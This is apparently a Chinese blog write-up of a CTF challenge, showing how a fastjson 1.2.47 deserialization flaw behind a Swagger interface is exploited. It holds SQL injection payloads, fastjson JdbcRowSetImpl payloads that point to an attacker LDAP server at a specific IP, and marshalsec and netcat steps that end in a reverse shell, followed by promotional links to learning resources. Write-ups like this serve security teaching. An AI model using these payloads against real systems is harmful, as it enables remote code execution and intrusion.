首页 > 其他分享 >fastjson反序列化漏洞

fastjson反序列化漏洞

时间:2024-06-03 17:03:29浏览次数:24  
标签:fastjson 网络安全 swagger java 漏洞 Exploit 序列化 com

一题Think_java大多数师傅都是用的自己构造的java反序列化来做的。正好当时用fastjson写出来了。

v2-ee6bfb40ebb1da235728351fdd143044_720w.png

近些天也在挖洞,对于很多json传输的数据也会尝试一下fastjson的payload。

那就正好一起来看当时如何利用fastjson的,应该是个非预期吧,其实这个虽然说是ctf题目,但环境属实和实战没有区别,swagger-ui.html的fastjson。

之前看过fastjson作者的一篇文章,阿里的一个大佬,能够独立完成一个框架属实真的tql,fastjson连续好几年都被爆出漏洞,作者也是春节也忙着修复,可能这就是一份乐趣和成就感吧。

 

0x01:写在前面

拿到题目后,一开始通过审计代码发现代码

审计发现一个注入,dbname我们可控

尝试注入

dbName=myapp#' and 1=2 union select name from myapp.user;#
dbName=myapp#' and 1=2 union select pwd from myapp.user;#

注入处账户密码留作备用(后面思路转变为exp后发现 上面账号密码没有用)

admin

admin@Rrrr_ctf_asde

然后经过逆向注意到导入了

io.swagger.annotations.ApiOperation; 

发现是个swagger

Swagger在平时日常工作中用过是个优秀的文档编辑器

那么直接访问swagger-ui.html

v2-b00744f9264f12a07a9d7f8b15df241d_720w.png

这里想到swagger还有fastjson库 可以将java对象转换成json

19年爆出很多rce漏洞。尝试进行查看

网上查询fastjson得知存在rce漏洞

这个文章真的写的非常详细,可以说是手把手教学

https://github.com/CaijiOrz/fastjson-1.2.47-RCE 

看到如下

这里很符合fastjson的反序列化漏洞的json格式

v2-7332d417ce45362d07e396e745b0ac13_720w.png

访问得知如下

按着一步一步操作来,首先准备云服务器,并将仓库文件上传到云服务器中。

上传成功以后进行如下操作

首先进行测试

云服务器监听7777端口

在靶场执行

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://121.36.19.222:7777/Exploit","autoCommit":true}}} 

发现有流量回显

那就继续按照文档往下做。

Cd进去进行查看

修改exploit.java的ip为云服务器ip

v2-d578adacc33099bed34e9e81065ad671_720w.png

Javac Exploit.java编译执行后得到Exploit.class

继续进行按照如下步骤继续执行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer

http://121.36.19.222/#Exploit

执行成功如下所示,进行监听本地端口1389

python -m SimpleHTTPServer 80

v2-22e182134114986dab6f1ddaaf2c7db8_720w.png

Nc 监听本地的8888端口

提交payload

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://121.36.19.222:1389/Exploit","autoCommit":true}}}

执行后成功

v2-a2986aad04445a923ef0d7952f45653d_720w.png

成功弹到shell ,

v2-7bb9919581611f7287f19d752213953a_720w.png

执行cat /flag可以得到如下flag

v2-c8618fa3b7fde441e0766dbb7d2126a5_720w.png

0x02:总结

日常实战中,喜欢burp带上fastjson的检测脚本,遇到可疑的就发包检测一下。显示有漏洞就尝试payload打一下dnslog试试回显,再进一步进行深挖。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

 大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~  

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

标签:fastjson,网络安全,swagger,java,漏洞,Exploit,序列化,com
From: https://blog.csdn.net/2401_84466336/article/details/139407674

相关文章

  • ChatGPT 写 PoC,拿下漏洞!
    0×01前言ChatGPT(ChatGenerativePre-trainedTransformer)是当今备受瞩目的智能AI聊天机器人之一。它不仅能够实现基本的语言交流,还具备许多强大的功能,例如文章撰写、代码脚本编写、翻译等等。那么我们是否可以利用ChatGpt去辅助我们完成一些工作呢?比如当一个产品存在安全......
  • tomcat系列漏洞利用
    Tomcat服务器是一个开源的轻量级Web应用服务器,在中小型系统和并发量小的场合下被普遍使用。主要组件:服务器Server,服务Service,连接器Connector、容器Container。连接器Connector和容器Container是Tomcat的核心。一个Container容器和一个或多个Connector组合在一起,加上其他一些......
  • Web网络安全-----Log4j高危漏洞原理及修复_log4j漏洞是什么
    系列文章目录文章目录系列文章目录什么是Log4j?一、Log4j漏洞二、漏洞产生原因1.什么是Lookups机制2.怎么利用JNDI进行注入JNDI简介LADPRMI三、Log4j漏洞修复总结什么是Log4j?Log4j即logforjava(java的日志),是Apache的一个开源项目,通过使用Log4j,我们可以控制日......
  • 各位用到git的,请注意CVE-2024-32002安全漏洞
    解释几个缩写名词CVE:CVE是CommonVulnerabilitiesandExposures的缩写,指的是通用漏洞与暴露(CommonVulnerabilitiesandExposures),它是一个用于标识和跟踪计算机系统中的安全漏洞的标准化命名方案,每个CVE条目都包含一个唯一标识符(CVEID),以及漏洞的描述、评分、影响......
  • WinDbg基本原理和使用方法,掌握基本的调试技术,并能够应用于实际的调试工作中;高级调试技
    WinDbg初级应用的大纲:1.WinDbg基础知识WinDbg简介:介绍WinDbg是什么以及其在Windows调试和分析中的作用。安装与配置:指导学员如何安装和配置WinDbg调试环境,包括下载安装、符号配置等基本步骤。2.调试基础调试流程:解释调试的基本流程,包括启动目标程序、设置断点、执行程序......
  • Autoruns工具的高级应用技巧和深度分析能力,能够在系统启动项管理、安全漏洞挖掘和恶意
    AutorunsforWindowsv14.11初级应用的大纲:1.简介与基础知识Autoruns简介:介绍Autoruns是一款由Sysinternals提供的系统启动项管理工具,用于查看和管理Windows系统启动时加载的所有程序、服务、驱动程序等。下载和安装:指导学习者如何下载并安装Autoruns工具,并介绍工具的界面和......
  • 反序列化魔术方法
    魔术方法成员属性变量和成员属性是一个东西__consrtuct构造方法在对象实例化时执行的方法__construct()只会在new一个对象时触发,serialiaze和unserialize都不会触发__destruct()析构函数__destruct()函数只会在序列化serialize()反序列化unserialize()和销毁一个对象时触......
  • phar反序列化例题
    [CISCN2019华北赛区Day1Web1]Dropbox目录穿越下载注册、登录,发现可文件上传。上传文件后发现可以下载或者删除,尝试上传php马但是发现都被过滤,抓包下载的选项。发现下载可能存在目录穿越。于是尝试../../index.php,发现可成功下载。于是将download.phpdelete.php下载,审源码......
  • 众测项目实战--有趣的xss漏洞
    这是一个挺有意思的xss漏洞,正常情况下,一个邮件存在xss漏洞,就可以发给其他普通用户,危害一般也就只能截止到去攻击普通用户,但是这个案例的邮件就很有意思了。打开网站,发现是一个经典的商城界面,这种网站,需要先去注册,注册之后,才能去测试各种功能和各种漏洞。注册后,直接进入个人......
  • 5.17反序列化
    1、原理序列化:对象状态-可存储或传输形式的过程,将状态信息保存为字符串;反序列化:序列化的字符串-对象;恶意代码注入到应用程序中,程序从不安全来源反序列化数据时,数据从一种格式(json、xml)转化为(对象或列表),如果不检查安全性,则攻击者构造恶意代码在数据,程序反序列化时,恶意代码执行......